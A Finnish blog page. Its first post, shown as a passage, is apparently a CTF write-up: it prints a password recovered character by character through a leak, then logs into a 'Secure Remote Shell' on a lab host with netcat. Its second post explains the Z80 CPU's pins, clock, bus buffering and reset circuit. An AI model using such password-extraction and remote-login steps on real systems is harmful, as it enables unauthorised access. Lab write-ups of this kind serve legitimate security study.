Leaked: R3sp3ctY04r4dm1niS
Leaked: R3sp3ctY04r4dm1niSt
Leaked: R3sp3ctY04r4dm1niSt4
Leaked: R3sp3ctY04r4dm1niSt4t
Leaked: R3sp3ctY04r4dm1niSt4t0
Leaked: R3sp3ctY04r4dm1niSt4t0r
Leaked: R3sp3ctY04r4dm1niSt4t0rL
Leaked: R3sp3ctY04r4dm1niSt4t0rL1
Leaked: R3sp3ctY04r4dm1niSt4t0rL1k
Leaked: R3sp3ctY04r4dm1niSt4t0rL1ke
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keY
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3s
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3sp
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spe
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spec
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spect
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY0
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0
Password founded: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d

Sisään kirjautuessa eteen pamahtaa komentorivi ja nopealla selvittelyllä näytämme olevan sisällä käyttäjällä level1.

$ nc 192.168.1.104 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
Logged in successfully, type exit to close the shell
Shell$ whoami;pwd;uname -a
level1
/home/level1
Linux pb0x 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
Shell$ ls
level2
level2_readme.txt
Shell$ cat level2_readme.txt
Start this level with socat 'socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2' and use netcat or whatever to communicate with it.

Have fun!
Shell$ 

Ensimmäinen taso selätetty ja olemme sisällä. Tästä varsinainen exploittaaminen vasta alkaakin.

Posted in Jotain aivan muuta | Tagged , , , , | Leave a comment

Cubik: #2 – Z80

Kuten edellisistä postauksista on selvinnyt, niin suorittimena on Zilogin Z80, jonka dokumentaatio löytyy tästä. Suosittelen selaamaan läpi, vaikka aionkin ottaa tässä esille pääpiirteet.

z80

Parhaimman yleiskatsauksen saa varmasti katsomalle pinnijärjestystä, joka löytyy sivulta 5.

Z80 Pinout

A0-A15: 16-bittinen osoiteväylä.
D0-D7: 8-bittinen dataväylä.
CLK: Kellopulssi.

RESET: Resetoi suorittimen. Pakollinen käynnistyksen yhteydessä.
INT (Interrupt Request)0-taso generoi keskeytyksen.
NMI (Nonmaskable Interrupt):  Sama, kun INT, mutta ei maskattava. Siirtyy aina osoitteeseen 0066h.

MREQ: Suoritin haluaa lukea/kirjoittaa muistiin.
IORQ: Suoritin haluaa lukea/kirjoittaa IO-laitteeseen.
RD: Lukuoperaatio.
WR: Kirjoitusoperaatio.
M1: Suorituksessa on M1-sykli. Yhdesä MREQ kanssa meinaa seuraavan käskyn hakemista muistista ja IORQ:n kanssa keskeytysvektorin pyytämistä IO-laitteelta.
WAIT: Pysäyttää suorittimen.
BUSACK: Suorittimen MREQ, IORQ, WR, RD, sekä osoite- ja datapinnit ovat high impendance -tilassa. Eli esim. DMA on pyytänyt osoite- ja dataväylän käyttöön.

On hyvä huomata, että viiva nimen päällä tarkoittaa, että kyseinen tila on 0-tasolla aktiivinen.

Jotta Z80 saadaan heräämään henkiin, niin sille tarvitaan kellosignaali.  Pulssin pitää olla kanttiaaltoa 50% suhteella. Kiteen avulla voidaan tuottaa kanttiaaltoa esim. seuraavalla kytkennällä.

clock

 

Lopputuloksena on yllä oleva kellosignaali. Tällä hetkellä taajuutena on 4 MHz. Tämän lisäksi on myös hyvä olla debugtarkoitukseen 1-5 Hz kello. Tämä onnistuu helposti esim. 555-ajastimella tai vaikkapa mikrokontrollerilla.

Z80:sen ulostulojen virtakestoksi on ilmoitettu 2 mA. Joten ulostuloja on hyvä bufferoida. Kontrollipinneistä tarvitsee myös muodostaa yhdisteitä (kuten IO luku jne.). Joten kontrolliulostulojen bufferointi hoituu suurimmaksi osaksi suoraan kombinaatioita muodostaessa. Koska ulostulojen 0-taso merkkaa aktiivista, niin AND-operaatio hoituu nyt OR-porteilla.

cpu-control
Kombinaatioulostulot ovat myös aktiivisia, kun 0. Sisäänpäin menevät tulot eivät voi leijua, vaan ne pitää vetää ylös. Jotkin Zilogin IO-piirit haluavat suoraan MREQ-signaalin, joten sen takia se on erikseen vielä bufferoitu. BUSACK-signaalista tulemme tarvitsemaan negaatiota. Syy selviää kohta. Tarkkasilmäisimmät huomasivat, että tuossa ei ole muistin lukemista indikoivaa signaalia. Tämä sen takia, että sitä ei tarvita. Sillä silloin kuin muisti ei ole kirjoitustilassa, niin se on lukutilassa.

Osoite- ja dataväylä on syytä myös bufferoida, mutta nämä ulostulot pitää myös saada high impendace -tilaan, kun BUSACK on aktiivinen. Pitää myös huomioida, että dataväylä on kaksisuuntainen. Onneksi tähän tilanteeseen löytyy juuri oikeat piirit. 74LS244 on kahdeksan porttinen tri-state bufferi ja 74LS245 on vastaava, mutta kaksisuuntaisena.

buffer

address-2 copy

Osoiteväylän bufferointi voidaan toteuttaa yllä olevalla tavalla. Huomiokaan, että kyseinen BUSACK signaali tulee nyt NOT-portin läpi (ks. yllä). Kun BUSACK on normaalisti 1 (eli ei aktiivinen), niin sen negaatio on silloin luonnollisesti 0 ja 74244:set ovat päällä.

databuss

Vastaavasti dataväylän bufferointi. Tässä vaiheessa suorittimen vaatimat elektroniikat alkaa olemaan kasassa. Vielä kuitenkin tarvitaan resetointipiiri, joka käynnistyksen yhteydessä resetoi suorittimen. Sillä manuaalisesti napin painaminen olisi ärsyttävää.

reset

Kyseinen kytkentä on otettu suoraa Build Your Own Z80 Computer -kirjasta, joka on muuten oiva tietolähde. Vaikka noin puolet tavoista tehdä asioita on vähän vanhentuneita. Toiminta perustuu kuitenkin siihen, että kondensaattori on alkutilanteensa varaukseton ja pitää reset-linjan 0-tasossa. Lopulta kun kondensaattori on latautunut, niin reset kytkeytyy 1-tasoon. Kytkennässä on aktiivinen 1 ja aktiivinen 0 linjat erikseen, kun piirien resetointi vaihtelee.

Lopputulosta voi testata esim. vetämällä koko dataväylän maihin ja resetoimalla suorittimen. 00h vastaa NOP (No operation) käskyä jolloin osoiteväylän pitäisi kasvaa yhdellä aina per operaatio. Seuraavaksi pitäisi lisätä muisti, että jotain oikeaa voisi jo tehdä.

Posted in Cubik | Tagged , , , | Leave a comment